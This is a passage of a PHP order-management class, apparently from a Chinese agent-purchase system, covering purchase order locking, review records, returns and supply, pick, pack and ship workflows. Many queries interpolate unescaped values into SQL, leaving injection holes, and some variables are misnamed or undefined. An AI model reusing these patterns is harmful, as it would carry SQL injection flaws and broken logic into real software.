{$statusStr}"; $sql = "select AgentOrderID,TotalAmount,PayAmount,ScoreCount,ScorePayAmount from AgentOrder {$where}"; $resource = $this->_db->loadToArray($sql,'AgentOrderID'); return $resource; } public function getAgentOrderGoodsSNString($coreOrderID) { $goodsSNString = ''; $goodsSN = array(); if (!$coreOrderID) { return false; } $goodsSNList = $this->getAgentOrderGoodsSNList($coreOrderID); foreach ($goodsSNList as $key => $item) { $goodsSN[] = $item['GoodsSN']; } $goodsSNString = implode(',', $goodsSN); return $goodsSNString; } public function getAgentOrderGoodsSNList($coreOrderID) { if (!$coreOrderID) { return false; } $sql = "select GoodsSN from Goods where CoreOrderID = {$coreOrderID}"; $goodsSNList = $this->_db->loadToArray($sql); return $goodsSNList; } /** * 锁定采购单 * @param int $CoreOrderID */ public function agentPurchaseOrderLocking($coreOrderID) { $boolean = false; $isLock = parent::ORDERPURCHASEORDER_LOCKING; $sql = "UPDATE AgentPurchaseOrder SET IsLock = {$isLock} WHERE CoreOrderID = {$coreOrderID}"; $result = $this->_db->query($sql); $affectedRows = $this->_db->affectedRows(); if ($result && $affectedRows == 1) { $boolean = true; } return $boolean; } /** * 解锁采购单 * @param int $CoreOrderID */ public function agentPurchaseOrderUnlock($coreOrderID) { $boolean = false; $isLock = parent::ORDERPURCHASEORDER_UNLOCK; $sql = "UPDATE AgentPurchaseOrder SET IsLock = {$isLock} WHERE CoreOrderID = {$coreOrderID}"; $result = $this->_db->query($sql); $affectedRows = $this->_db->affectedRows(); if ($result && $affectedRows == 1) { $boolean = true; } return $boolean; } /********* 私有几个方法 *********/ /** * 更改退货单订单状态 * @param [type] $targetStatus [description] * @return [type] [description] */ private function _changeAgentReturnOrderStatus($agentReturnOrderID, $targetStatus) { if (!$agentReturnOrderID) { return false; } $sql = "update AgentReturnOrder set AgentReturnOrderStatusID = {$targetStatus} where AgentReturnOrderID = {$agentReturnOrderID}"; $result = $this->_db->query($sql); if (!$result) { return false; } $affectedRows = $this->_db->affectedRows(); if ($affectedRows <= 0) { return false; } return true; } /** * 获取核心订单ID根据用户购买订单ID。 * @param [type] $agentOrderID [description] * @return [type] [description] */ private function _getCoreOrderIDByAgentPurchaseOrderID($agentPurchaseOrderID) { $where = " where SourceID = {$agentPurchaseOrderID} and SourceName = 'AgentPurchaseOrder'"; $sql = "select CoreOrderID from CoreOrder {$where}"; $result = $this->_db->getToArray($sql); $coreOrderID = $result['CoreOrderID']; return $coreOrderID; } /** * 获取用户订单ID。CoreOrderID * @param [type] $agentOrderID [description] * @return [type] [description] */ private function _getAgentOrderIDByCoreOrderID($coreOrderID) { $where = " where CoreOrderID = {$coreOrderID} and SourceName = 'AgentOrder'"; $sql = "select AgentOrderID from CoreOrder {$where}"; $result = $this->_db->getToArray($sql); $agentOrderID = $result['AgentOrderID']; return $agentOrderID; } /** * 获取用户订单ID。AgentReturnOrderID * @param [type] $agentOrderID [description] * @return [type] [description] */ private function _getAgentOrderIDByAgentReturnOrderID($agentReturnOrderID) { $where = " where AgentReturnOrderID = {$agentReturnOrderID}"; $sql = "select AgentOrderID from AgentReturnOrder {$where}"; $result = $this->_db->getToArray($sql); $agentOrderID = $result['AgentOrderID']; return $agentOrderID; } /** * 获取用户订单ID。AgentRepairOrderID * @param [type] $agentOrderID [description] * @return [type] [description] */ private function _getAgentOrderIDByAgentRepairOrderID($agentRepairOrderID) { $where = " where AgentRepairOrderID = {$agentRepairOrderID}"; $sql = "select AgentOrderID from AgentRepairOrder {$where}"; $result = $this->_db->getToArray($sql); $agentOrderID = $result['AgentOrderID']; return $agentOrderID; } /** * 获取用户订单ID。AgentExchangeOrderID * @param [type] $agentOrderID [description] * @return [type] [description] */ private function _getAgentOrderIDByAgentExchangeOrderID($agentExchangeOrderID) { $where = " where AgentExchangeOrderID = {$agentExchangeOrderID}"; $sql = "select AgentOrderID from AgentExchangeOrder {$where}"; $result = $this->_db->getToArray($sql); $agentOrderID = $result['AgentOrderID']; return $agentOrderID; } /** * 生成采购单的搜索条件 * @param array $condition [description] * @return [type] [description] */ private function _generateAgentPurchaseOrderWhereCondition($condition = array()) { $prepareCondition = array( 'AgentPurchaseOrderID'=> null, 'AgentPurchaseOrderStatusID'=> null, 'AgentID'=> null, 'HandlerTypeID'=> null, 'HandlerID'=> null, 'ReceiverName'=> null, 'ReceiverMobile'=> null, 'StartAddTime'=> null, 'EndAddTime'=> null, 'WarehouseID'=> null, 'IsReplenishOrder' => null ); $group = array(); $group['intGroup'] = array('AgentID','HandlerTypeID','HandlerID', 'WarehouseID', 'IsReplenishOrder'); $group['intOrArrayGroup'] = array('AgentPurchaseOrderStatusID'); $group['stringGroup'] = array('ReceiverName','ReceiverMobile'); $where = $this->_generateWhereCondition($condition,$prepareCondition,$group); return $where; } /** * 生成 where 条件的sql语句 * @param array $condition [description] * @return [type] [description] */ private function _generateWhereCondition($condition = array(),$prepareCondition,$group) { $where = ""; $isValidCondition = 0; $prepareCondition = $prepareCondition; foreach ($prepareCondition as $key => $value) { if ($condition[$key] != null) { $isValidCondition = 1; $prepareCondition[$key] = $condition[$key]; } else { unset($prepareCondition[$key]); } } $intGroup = $group['intGroup']; $intOrArrayGroup = $group['intOrArrayGroup']; $stringGroup = $group['stringGroup']; if ($isValidCondition) { foreach ($prepareCondition as $field => $constraint) { if (in_array($field, $intGroup)) { $constraint = (int)$constraint; $where .= " and {$field} = {$constraint}"; } elseif (in_array($field, $intOrArrayGroup)) { $where .= $this->_generateIntOrArrayWhere($field, $constraint); } elseif (in_array($field, $stringGroup)) { $field = trim($field); $where .= " and {$field} = '{$constraint}'"; } elseif ($field == 'StartAddTime') { $where .= " and AddTime > '{$constraint}'"; } elseif ($field == 'EndAddTime') { $where .= " and AddTime <= '{$constraint}'"; } } } $where = $this->_db->whereAdd($where); return $where; } /** * 有些字段同时支持标量和数组,做如下封装,以供 _generateAgentOrderWhereCondition() 方法使用。 * @param [type] $param [description] * @return [type] [description] */ private function _generateIntOrArrayWhere($field, $constraint) { if (is_array($constraint) && count($constraint) > 0) { $constraint = "(" . implode(',', $constraint) . ")"; $where .= " and {$field} in {$constraint}"; } else { $where .= " and {$field} = {$constraint}"; } return $where; } /** * 获得会导致积分消耗的操作,排除掉取消订单、退货成功这两种情况。 * @return [type] [description] */ private function _getScoreConsumeStatus() { $array = array( parent::MEMBERORDERSTATUS_UNPAY, parent::MEMBERORDERSTATUS_UNAUDIT, parent::MEMBERORDERSTATUS_AUDIT_SUCCESS, parent::MEMBERORDERSTATUS_PAYOFF, parent::MEMBERORDERSTATUS_DELIVERY, parent::MEMBERORDERSTATUS_RECEIVED, parent::MEMBERORDERSTATUS_EVALUATED, parent::MEMBERORDERSTATUS_APPLY_REJECT, parent::MEMBERORDERSTATUS_REJECT_FAILURE, parent::MEMBERORDERSTATUS_APPLY_BARTER, parent::MEMBERORDERSTATUS_BARTER_SUCCESS, parent::MEMBERORDERSTATUS_BARTER_FAILURE ); return $array; } /** * 添加退货信息。 * @param [type] $agentReturnOrderInfo [description] */ private function _addAgentReturnOrder($rejectInfo) { $agentReturnOrder['CoreOrderID'] = (int)$rejectInfo['CoreOrderID']; $agentReturnOrder['AgentOrderID'] = (int)$rejectInfo['AgentOrderID']; $agentReturnOrder['ReturnLogisticCompanyID'] = (int)$rejectInfo['ReturnLogisticCompanyID']; $agentReturnOrder['ReturnLogisticNumber'] = $rejectInfo['ReturnLogisticNumber']; $agentReturnOrder['ReturnAmount'] = (float)$rejectInfo['ReturnAmount']; $agentReturnOrder['ResonTypeID'] = (int)$rejectInfo['ResonTypeID']; $agentReturnOrder['Memo'] = $rejectInfo['Memo'] ? $rejectInfo['Memo'] : '无备注信息'; $agentReturnOrder['AddTime'] = date('Y-m-d H:i:s'); $agentReturnOrder['AgentReturnOrderStatusID'] = parent::MEMBERRETURNORDERSTATUS_APPLY; $returnOrderID = $this->_db->saveFromArray('AgentReturnOrder',$agentReturnOrder); if (!$returnOrderID) { return false; } else { return $returnOrderID; } } /** * 添加采购单初审审核信息。 * @param [type] $adminID [description] * @param [type] $verifyResult [description] */ private function _addPurchaseVerifyResult($adminID, $verifyResult) { $verifyResult['AgentPurchaseOrderID'] = (int)$verifyResult['AgentPurchaseOrderID']; $verifyResult['ResultTypeID'] = (int)$verifyResult['ResultTypeID']; $verifyResult['ResultID'] = (int)$verifyResult['ResultID']; $verifyResult['Memo'] = $verifyResult['Memo']; $verifyResult['AdminID'] = (int)$adminID; $verifyResult['AddTime'] = date('Y-m-d H:i:s'); $result = $this->_db->saveFromArray('AgentPurchaseOrderVerifyRecord',$verifyResult); if (!$result) { return false; } else { return true; } } /** * 添加采购单复审审核信息。 * @param [type] $adminID [description] * @param [type] $reviewResult [description] */ private function _addPurchaseReviewResult($adminID, $reviewResult) { $agentPurchaseOrderReviewRecordID = 0; $reviewResult['AgentPurchaseOrderID'] = (int)$reviewResult['AgentPurchaseOrderID']; $reviewResult['ResultTypeID'] = (int)$reviewResult['ResultTypeID']; $reviewResult['ResultID'] = (int)$reviewResult['ResultID']; $reviewResult['Memo'] = $reviewResult['Memo']; $reviewResult['AdminID'] = (int)$adminID; $reviewResult['AddTime'] = date('Y-m-d H:i:s'); $agentPurchaseOrderReviewRecordID = $this->_db->saveFromArray('AgentPurchaseOrderReviewRecord',$reviewResult); return $agentPurchaseOrderReviewRecordID; } /** * 添加退货审核信息。 * @param [type] $adminID [description] * @param [type] $verifyResult [description] */ private function _addRejectVerifyResult($adminID, $verifyResult) { $verifyResult['AgentExchangeOrderID'] = (int)$verifyResult['AgentExchangeOrderID']; $verifyResult['ResultTypeID'] = (int)$verifyResult['ResultTypeID']; $verifyResult['ResultID'] = (int)$verifyResult['ResultID']; $verifyResult['Memo'] = $verifyResult['Memo']; $verifyResult['AdminID'] = (int)$adminID; $verifyResult['AddTime'] = date('Y-m-d H:i:s'); $result = $this->_db->saveFromArray('AgentReturnOrderVerifyRecord',$verifyResult); if (!$result) { return false; } else { return true; } } /** * 添加退货审核信息。 * @param [type] $adminID [description] * @param [type] $verifyResult [description] */ private function _addBarterVerifyResult($adminID, $verifyResult) { $verifyResult['AgentExchangeOrderID'] = (int)$verifyResult['AgentExchangeOrderID']; $verifyResult['ResultTypeID'] = (int)$verifyResult['ResultTypeID']; $verifyResult['ResultID'] = (int)$verifyResult['ResultID']; $verifyResult['Memo'] = $verifyResult['Memo']; $verifyResult['AdminID'] = (int)$adminID; $verifyResult['AddTime'] = date('Y-m-d H:i:s'); $result = $this->_db->saveFromArray('AgentExchangeOrderVerifyRecord',$verifyResult); if (!$result) { return false; } else { return true; } } /** * 添加返修审核信息。 * @param [type] $adminID [description] * @param [type] $verifyResult [description] */ private function _addRepairVerifyResult($adminID, $verifyResult) { $verifyResult['AgentRepairOrderID'] = $verifyResult['AgentRepairOrderID']; $verifyResult['ResultTypeID'] = $verifyResult['ResultTypeID']; $verifyResult['ResultID'] = $verifyResult['ResultID']; $verifyResult['Memo'] = $verifyResult['Memo']; $verifyResult['AdminID'] = $adminID; $verifyResult['AddTime'] = date('Y-m-d H:i:s'); $result = $this->_db->saveFromArray('AgentRepairOrderVerifyRecord',$verifyResult); if (!$result) { return false; } else { return true; } } /* 检查某个用户订单是否已经存在退货行为了 */ private function _isAlreadyReject($agentOrderID) { $sql = "select count(*) as Count from AgentReturnOrder where AgentPurchaseOrderID = {$agentOrderID}"; $result = $this->_db->getToArray($sql); $count = $result['Count']; if ($count > 0) { return true; } else { return false; } } /* 检查某个用户订单是否已经存在换货行为了 */ private function _isAlreadyExchange($agentOrderID) { $sql = "select count(*) as Count from AgentExchangeOrder where AgentPurchaseOrderID = {$agentOrderID}"; $result = $this->_db->getToArray($sql); $count = $result['Count']; if ($count > 0) { return true; } else { return false; } } /* 检查某个用户订单是否已经存在返修行为了 */ private function _isAlreadyRepair($agentOrderID) { $sql = "select count(*) as Count from AgentRepairOrder where AgentPurchaseOrderID = {$agentOrderID}"; $result = $this->_db->getToArray($sql); $count = $result['Count']; if ($count > 0) { return true; } else { return false; } } /** * 根据 其他表获得 AgentOrderID * @param [type] $sourceName [description] * @param [type] $list [description] * @return [type] [description] */ private function _getAgentOrderListByOther($sourceName, $list) { $liststring = '(' . implode(',', $list) . ')'; $field = $sourceName . 'ID'; $sql = "select AgentOrderID from {$sourceName} where $field in {$listString}"; $result = $this->_db->loadToArray($sql,$field,'AgentOrderID'); return $result; } /** * 更改采购单订单状态 * @param [type] $targetStatus [description] * @return [type] [description] */ private function _changeAgentPurchaseOrderStatus($agentPurchaseOrderID, $oldTargetStatus, $targetStatus) { if (!$agentPurchaseOrderID) { return false; } $agentPurchaseOrderIDChangeList = array( array(parent::AGENTORDERSTATUS_SAVE, parent::AGENTORDERSTATUS_UNVERIFY), array(parent::AGENTORDERSTATUS_UNVERIFY, parent::AGENTORDERSTATUS_VERIFY_FAILURE), array(parent::AGENTORDERSTATUS_UNVERIFY, parent::AGENTORDERSTATUS_UNPAY), array(parent::AGENTORDERSTATUS_UNPAY, parent::AGENTORDERSTATUS_PAYOFF), array(parent::AGENTORDERSTATUS_PAYOFF, parent::AGENTORDERSTATUS_REVIEW_FAILURE), array(parent::AGENTORDERSTATUS_PAYOFF, parent::AGENTORDERSTATUS_REVIEW_SUCCESS), array(parent::AGENTORDERSTATUS_REVIEW_FAILURE, parent::AGENTORDERSTATUS_PAYOFF), array(parent::AGENTORDERSTATUS_REVIEW_SUCCESS, parent::AGENTORDERSTATUS_DELIVERY), array(parent::AGENTORDERSTATUS_DELIVERY, parent::AGENTORDERSTATUS_RECEIVED) ); if (!in_array(array($oldTargetStatus, $targetStatus), $agentPurchaseOrderIDChangeList)) { return false; } $sql = "update AgentPurchaseOrder set AgentPurchaseOrderStatusID = {$targetStatus} where AgentPurchaseOrderID = {$agentPurchaseOrderID} AND AgentPurchaseOrderStatusID = {$oldTargetStatus}"; $result = $this->_db->query($sql); if (!$result) { return false; } $affectedRows = $this->_db->affectedRows(); if ($affectedRows <= 0) { return false; } return true; } /** * 修改发货仓库ID * @param int $agentPurchaseOrderID 采购单ID * @param int $warehouseID 发货仓库ID * @return true|false $boolean */ private function _changeWarehouseID($agentPurchaseOrderID, $warehouseID) { $boolean = false; $sql = "UPDATE AgentPurchaseOrder SET WarehouseID = {$warehouseID} WHERE AgentPurchaseOrderID = {$agentPurchaseOrderID}"; $result = $this->_db->query($sql); $affectedRows = $this->_db->affectedRows(); if ($result && $affectedRows == 1) { $boolean = true; } return $boolean; } /** * 获取初审审核记录列表 * @param int $agentPurchaseOrderID 采购单ID * @return array $agentPurchaseOrderVerifyRecordList */ public function getAgentPurchaseOrderVerifyRecord($agentPurchaseOrderID) { $agentPurchaseOrderVerifyRecord = null; if (!$agentPurchaseOrderID) { return $agentPurchaseOrderVerifyRecord; } $sql = "SELECT * FROM AgentPurchaseOrderVerifyRecord WHERE AgentPurchaseOrderID = {$agentPurchaseOrderID} ORDER BY AgentPurchaseOrderVerifyRecordID ASC"; $agentPurchaseOrderVerifyRecord = $this->_db->getToArray($sql); return $agentPurchaseOrderVerifyRecord; } /** * 获取复审审核记录列表 * @param int $agentPurchaseOrderID 采购单ID * @return array $agentPurchaseOrderVerifyRecordList */ public function getAgentPurchaseOrderReviewRecord($agentPurchaseOrderID) { $agentPurchaseOrderReviewRecord = null; if (!$agentPurchaseOrderID) { return $agentPurchaseOrderReviewRecord; } $sql = "SELECT * FROM AgentPurchaseOrderReviewRecord WHERE AgentPurchaseOrderID = {$agentPurchaseOrderID} ORDER BY AgentPurchaseOrderReviewRecordID ASC"; $agentPurchaseOrderReviewRecord = $this->_db->loadToArray($sql); return $agentPurchaseOrderReviewRecord; } /** * 获取复审驳回的记录总数 * @param int $agentPurchaseOrderID * @param int $resultID * @return int $reviewCount */ public function getAgentPurchaseOrderReviewCount($agentPurchaseOrderID, $resultID) { $reviewCount = 0; $where = ''; if ($agentPurchaseOrderID) { $where .= " AND AgentPurchaseOrderID = {$agentPurchaseOrderID}"; } if ($resultID) { $where .= " AND ResultID = {$resultID}"; } $where = $this->_db->whereAdd($where); $sql = "SELECT COUNT(*) AS ReviewCount FROM AgentPurchaseOrderReviewRecord {$where}"; $result = $this->_db->getToArray($sql); if ($result && $result['ReviewCount'] > 0) { $reviewCount = $result['ReviewCount']; } return $reviewCount; } /** * 获取付款记录信息 */ public function getAgentPurchaseOrderPayRecordList($agentPurchaseOrderID = null, $agentPurchaseOrderPayRecordStatusID = null) { $agentPurchaseOrderPayRecordList = null; $where = ''; if ($agentPurchaseOrderID) { $where .= " AND AgentPurchaseOrderID = {$agentPurchaseOrderID}"; } if ($agentPurchaseOrderPayRecordStatusID) { $where .= " AND AgentPurchaseOrderPayRecordStatusID = {$agentPurchaseOrderPayRecordStatusID}"; } $where = $this->_db->whereAdd($where); $sql = "SELECT * FROM AgentPurchaseOrderPayRecord {$where} ORDER BY AgentPurchaseOrderPayRecordID ASC"; $agentPurchaseOrderPayRecordList = $this->_db->loadToArray($sql); return $agentPurchaseOrderPayRecordList; } /** * 获取采购单核心订单 * @param int $coreOrderID * @param int $agentPurchaseOrderStatusID; * @return true|false $boolean */ public function checkCoreOrderID($coreOrderID = null, $agentPurchaseOrderStatusID = null) { $boolean = false; if ($coreOrderID <= 0) { return $boolean; } $where = ''; if ($coreOrderID) { $where .= " AND CoreOrderID = {$coreOrderID}"; } if ($agentPurchaseOrderStatusID) { $where .= " AND AgentPurchaseOrderStatusID = {$agentPurchaseOrderStatusID}"; } $where = $this->_db->whereAdd($where); $sql = "SELECT COUNT(*) AS totalAgentPurchaseOrder FROM AgentPurchaseOrder {$where}"; $result = $this->_db->getToArray($sql); if (is_array($result) && $result['totalAgentPurchaseOrder'] == 1) { $boolean = true; } return $boolean; } /** * 获取采购订单商品列表 * @param int $coreOrderID * @return array $coreOrderGoodsList */ public function getCoreOrderGoodsListByCoreOrderID($coreOrderID = null, $goodsID = null) { $coreOrderGoodsList = null; if (!$coreOrderID) { return $coreOrderGoodsList; } $where = ''; if (is_array($coreOrderID)) { $coreOrderIDStr = implode(',', $coreOrderID); $where .= " AND CoreOrderID IN ({$coreOrderIDStr})"; } else { $where .= " AND CoreOrderID = {$coreOrderID}"; } if ($goodsID) { if (is_array($goodsID)) { $goodsIDStr = implode(',', $goodsID); $where .= " AND GoodsID IN ({$goodsIDStr})"; } else { $where .= " AND GoodsID = {$goodsID}"; } } $where = $this->_db->whereAdd($where); $sql = "SELECT CoreOrderGoodsID, CoreOrderID, GoodsID, PurchasePrice, GoodsName, GoodsImagePath, GoodsCount FROM CoreOrderGoods {$where} ORDER BY CoreOrderGoodsID ASC"; $coreOrderGoodsList = $this->_db->loadToArray($sql); return $coreOrderGoodsList; } /** * 添加供货记录 * @param array $supplyRecordData * @return int $supplyRecordID */ public function addSupplyRecord($coreOrderID, $supplyRecordData) { $supplyRecordID = 0; $this->_db->query('start transaction'); $supplyRecordID = parent::_addSupplyRecord($supplyRecordData); if ($supplyRecordID <= 0) { $this->_db->query('rollback'); return $supplyRecordID; } $result = $this->agentPurchaseOrderLocking($coreOrderID); if (!$result) { $this->_db->query('rollback'); return $supplyRecordID; } $this->_db->query('commit'); return $supplyRecordID; } /** * 添加供货商品数据 * @param int $coreOrderID * @param int $supplyRecordID * @param array $supplyGoodsEntityList */ public function completeSupplyRecord( $coreOrderID = null, $supplyRecordID = null, $goodsID = null, $goodsEntityID = null) { /* 获取采购单商品列表 */ $coreOrderGoodsList = $this->getCoreOrderGoodsListByCoreOrderID($coreOrderID); foreach ($coreOrderGoodsList as $itemKey => $itemVal) { $goodsListForCoreOrder[$itemVal['GoodsID']] = $itemVal['GoodsCount']; } if (!array_key_exists($goodsID, $goodsListForCoreOrder)) { return parent::errorReturnData('GoodsID_IS_FAILED', '商品类型错误'); } $result = parent::_checkSupplyGoodsEntity($supplyRecordID, $goodsEntityID); if (!$result) { return parent::errorReturnData('GoodsEntity_IS_EXIST', '货品已存在'); } if (((int)$goodsID <= 0) || ((int)$goodsEntityID <= 0)) { return parent::errorReturnData('SupplyGoodsEntityList_IS_NULL', '未获取到可操作的货品'); } $this->_db->query('start transaction'); /* 获取采购单供货详情 */ $supplyRecordStatusID = parent::_getSupplyRecordStatusBySupplyRecordID($supplyRecordID); /* 如果供货单状态为新建 修改供货单状态 */ if ($supplyRecordStatusID == parent::SUPPLYRECORD_STATUS_NEW) { $toSupplyRecordStatusID = parent::SUPPLYRECORD_STATUS_PICKUP; $result = parent::_modifySupplyRecordStatus($supplyRecordID, $supplyRecordStatusID, $toSupplyRecordStatusID); if (!$result) { $this->_db->query('rollback'); return parent::errorReturnData('SupplyRecordStatus_MODIFY_FAILED', '供货记录状态修改失败'); } } $goodsCount = parent::getSupplyGoodsPickCount($coreOrderID, $goodsID); $supplyGoodsDetail = parent::checkIfExistSupplyGoods($supplyRecordID, $goodsID); if (!$supplyGoodsDetail) { $this->_db->query('rollback'); return parent::errorReturnData('SupplyRecordID_Error','供货记录出错了'); } $supplyGoodsID = (int)$supplyGoodsDetail['SupplyGoodsID']; /* 添加供货商品 */ if ($goodsCount > 0) { $goodsCount ++; /* 修改订单供货商品明细 */ $supplyGoodsData = array( 'SupplyGoodsID' => $supplyGoodsID, 'GoodsID' => $goodsID, 'GoodsCount' => $goodsCount); $supplyGoodsID = parent::_modifySupplyGoods($supplyGoodsData); unset($supplyGoodsData); if ($supplyGoodsID <= 0) { $this->_db->query('rollback'); return parent::errorReturnData('SupplyGoods_MODIFY_FAILED', '订单供货商品明细修改失败'); } } else { $goodsCount = 1; /* 添加订单供货商品明细 */ $supplyGoodsData = array( 'SupplyRecordID' => $supplyRecordID, 'GoodsID' => $goodsID, 'GoodsCount' => $goodsCount); $supplyGoodsID = parent::_addSupplyGoods($supplyGoodsData); unset($supplyGoodsData); if ($supplyGoodsID <= 0) { $this->_db->query('rollback'); return parent::errorReturnData('SupplyGoods_ADD_FAILED', '订单供货商品明细添加失败'); } } /* 判断供货商品数是否超过应供货数 */ if ((int)$goodsCount > (int)$goodsListForCoreOrder[$goodsID]) { $this->_db->query('rollback'); return parent::errorReturnData('SupplyGoods_OVER_COUNT', '供货总数超过订单货品数'); } /* 添加订单供货货品 */ $supplyGoodsEntityData = array( 'SupplyRecordID' => $supplyRecordID, 'GoodsID' => $goodsID, 'GoodsEntityID' => $goodsEntityID); $supplyGoodsEntityID = parent::_addSupplyGoodsEntity($supplyGoodsEntityData); unset($supplyGoodsEntityData); if ($supplyGoodsEntityID <= 0) { $this->_db->query('rollback'); return parent::errorReturnData('SupplyGoodsEntity_ADD_FAILED', '订单供货货品添加失败'); } $this->_db->query('commit'); $successData = array( 'CoreOrderID' => $coreOrderID, 'SupplyRecordID' => $supplyRecordID ); $returnData = parent::successReturnData($successData); return $returnData; } /** * 捡货完毕 * @param int $agentPurchaseOrderID 供货记录ID * @return array */ public function supplyGoodsPickUpFinish($coreOrderID, $supplyRecordID) { if ($supplyRecordID <= 0) { return parent::errorReturnData('SupplyRecordID_IS_NULL', '未获取到供货记录ID'); } $this->_db->query('start transaction'); // 修改供货记录状态 $supplyRecordStatusID = parent::SUPPLYRECORD_STATUS_PICKUP; $toSupplyRecordStatusID = parent::SUPPLYRECORD_STATUS_PICKUPFINISH; $result = parent::_modifySupplyRecordStatus( $supplyRecordID, $supplyRecordStatusID, $toSupplyRecordStatusID); if (!$result) { $this->_db->query('rollback'); return parent::errorReturnData('SupplyRecordStatus_MODIFY_FAILED', '供货记录状态修改失败'); } $result = $this->agentPurchaseOrderUnlock($coreOrderID); if (!$result) { $this->_db->query('rollback'); return parent::errorReturnData('AgentPurchaseOrder_Unlock_Failed', '采购单解锁失败'); } $this->_db->query('commit'); return parent::successReturnData(); } /** * 逐个货品打包 * @param int $supplyRecordID * @param int $goodsEntityID */ public function supplyGoodsEntityPack($supplyRecordID, $goodsID, $goodsEntityID) { $toSupplyGoodsEntityStatusID = parent::SUPPLYGOODSENTITY_STATUS_PACKED; // 获取供货货品记录已打包数 $totalGoodsEntity = parent::statSupplyGoodsEntity($supplyRecordID, $toSupplyGoodsEntityStatusID); $this->_db->query('start transaction'); if ($totalGoodsEntity == 0) { // 如果为0 修改供货记录状态 $supplyRecordStatusID = parent::SUPPLYRECORD_STATUS_PICKUPFINISH; $toSupplyRecordStatusID = parent::SUPPLYRECORD_STATUS_PACKING; $result = parent::_modifySupplyRecordStatus( $supplyRecordID, $supplyRecordStatusID, $toSupplyRecordStatusID); if (!$result) { $this->_db->query('rollback'); return parent::errorReturnData('SupplyRecordStatus_MODIFY_FAILED', '供货记录状态修改失败'); } } // 打包某个商品 $returnData = parent::packOrderGoodsItem($goodsEntityID, $goodsID); if ($returnData['status'] != 'success') { $this->_db->query('rollback'); return $returnData; } $this->_db->query('commit'); return parent::successReturnData(); } /** * 打包完毕 * @param int $agentPurchaseOrderID 供货记录ID * @return array */ public function supplyGoodsPack($supplyRecordID) { if ($supplyRecordID <= 0) { return parent::errorReturnData('SupplyRecordID_IS_NULL', '未获取到供货记录ID'); } $supplyRecordStatusID = parent::SUPPLYRECORD_STATUS_PACKING; $toSupplyRecordStatusID = parent::SUPPLYRECORD_STATUS_PACKED; $result = parent::_modifySupplyRecordStatus( $supplyRecordID, $supplyRecordStatusID, $toSupplyRecordStatusID); if (!$result) { return parent::errorReturnData('SupplyRecordStatus_MODIFY_FAILED', '供货记录状态修改失败'); } return parent::successReturnData(); } /** * 对供货货品发货 * @param int $coreOrderID * @param int $supplyRecordID * @return array */ public function supplyGoodsSend($coreOrderID, $supplyRecordID) { if ($supplyRecordID <= 0) { return parent::errorReturnData('SupplyRecordID_IS_NULL', '未获取到供货记录ID'); } $this->_db->query('start transaction'); $supplyRecordStatusID = parent::SUPPLYRECORD_STATUS_PACKED; $toSupplyRecordStatusID = parent::SUPPLYRECORD_STATUS_SENDGOODS; $result = parent::_modifySupplyRecordStatus( $supplyRecordID, $supplyRecordStatusID, $toSupplyRecordStatusID); if (!$result) { $this->_db->query('rollback'); return parent::errorReturnData('SupplyRecordStatus_MODIFY_FAILED', '供货记录状态修改失败'); } /* 获取采购单商品列表 */ $coreOrderGoodsList = $this->getCoreOrderGoodsListByCoreOrderID($coreOrderID); if (is_array($coreOrderGoodsList) && count($coreOrderGoodsList) > 0) { foreach ($coreOrderGoodsList as $itemKey => $itemVal) { $goodsListForCoreOrder[$itemVal['GoodsID']] = $itemVal['GoodsCount']; } } /* 获取供货记录商品明细 */ $supplyRecordStatusIDList = array( parent::SUPPLYRECORD_STATUS_PACKED, parent::SUPPLYRECORD_STATUS_SENDGOODS, parent::SUPPLYRECORD_STATUS_SIGNED); $supplyRecordCount = parent::_getSupplyRecordCount( $coreOrderID, $supplyRecordID = null, $supplyRecordStatusIDList, $startAddTime = null, $endAddTime = null); $supplyRecordList = parent::_getSupplyRecordList( $first = 0, $limit = $supplyRecordCount, $sortField = 'SupplyRecordID', $sortWay = 'DESC', $coreOrderID, $supplyRecordID = null, $supplyRecordStatusIDList, $startAddTime = null, $endAddTime = null); foreach ($supplyRecordList as $itemKey => $itemVal) { $supplyRecordIDList[] = $itemVal['SupplyRecordID']; } if (is_array($supplyRecordIDList) && count($supplyRecordIDList) > 0) { $supplyGoodsList = parent::_getSupplyGoodsList($supplyRecordIDList); foreach ($supplyGoodsList as $itemKey => $itemVal) { if ($goodsListForSupply[$itemVal['GoodsID']]) { $goodsListForSupply[$itemVal['GoodsID']] += $itemVal['GoodsCount']; } else { $goodsListForSupply[$itemVal['GoodsID']] = $itemVal['GoodsCount']; } } } /* 判断采购单商品数量是否等于供货商品数量 */ $isChangeAgentPurchaseStatus = true; if ($goodsListForSupply && $goodsListForCoreOrder) { foreach ($goodsListForCoreOrder as $itemKey => $itemVal) { if ($itemVal != $goodsListForSupply[$itemKey]) { $isChangeAgentPurchaseStatus = false; } } } if ($isChangeAgentPurchaseStatus) { // 修改订单状态 $oldTargetStatus = parent::AGENTORDERSTATUS_REVIEW_SUCCESS; $targetStatus = parent::AGENTORDERSTATUS_DELIVERY; $changeResult = $this->_changeAgentPurchaseOrderStatus($agentPurchaseOrderID, $oldTargetStatus, $targetStatus); if (!$changeResult) { $this->_db->query('rollback'); return parent::errorReturnData('CHANGEAGENTORDERSTATUS_IS_FAILED', '修改采购单状态失败'); } } $this->_db->query('commit'); return parent::successReturnData(); } /** * 签收供货货品 * @param int $supplyRecordID * @param int $goodsEntityID */ public function supplyGoodsEntitySign($supplyRecordID, $goodsEntityID) { if ((int)$supplyRecordID <= 0) { return parent::errorReturnData('SupplyRecordID_IS_NULL', '未获取到供货记录ID'); } if ((int)$goodsEntityID <= 0) { return parent::errorReturnData('GoodsEntityID_IS_NULL', '未获取到供货货品ID'); } $supplyGoodsEntityStatusID = parent::SUPPLYGOODSENTITY_STATUS_WAITINGSIGN; $toSupplyGoodsEntityStatusID = parent::SUPPLYGOODSENTITY_STATUS_SIGNED; $result = parent::_modifySupplyGoodsEntityStatus( $supplyRecordID, $goodsEntityID, $supplyGoodsEntityStatusID, $toSupplyGoodsEntityStatusID); if (!$result) { return parent::errorReturnData('GoodsEntityStatus_MODIFY_FAILED', '供货货品状态修改失败'); } return parent::successReturnData(); } /** * 签收供货记录 */ public function supplyRecordSign($coreOrderID, $supplyRecordID) { if ($supplyRecordID <= 0) { return parent::errorReturnData('SupplyRecordID_IS_NULL', '未获取到供货记录ID'); } if ($coreOrderID) $this->_db->query('start transaction'); $supplyRecordStatusID = parent::SUPPLYRECORD_STATUS_SENDGOODS; $toSupplyRecordStatusID = parent::SUPPLYRECORD_STATUS_SIGNED; $result = parent::_modifySupplyRecordStatus( $supplyRecordID, $supplyRecordStatusID, $toSupplyRecordStatusID); if (!$result) { $this->_db->query('rollback'); return 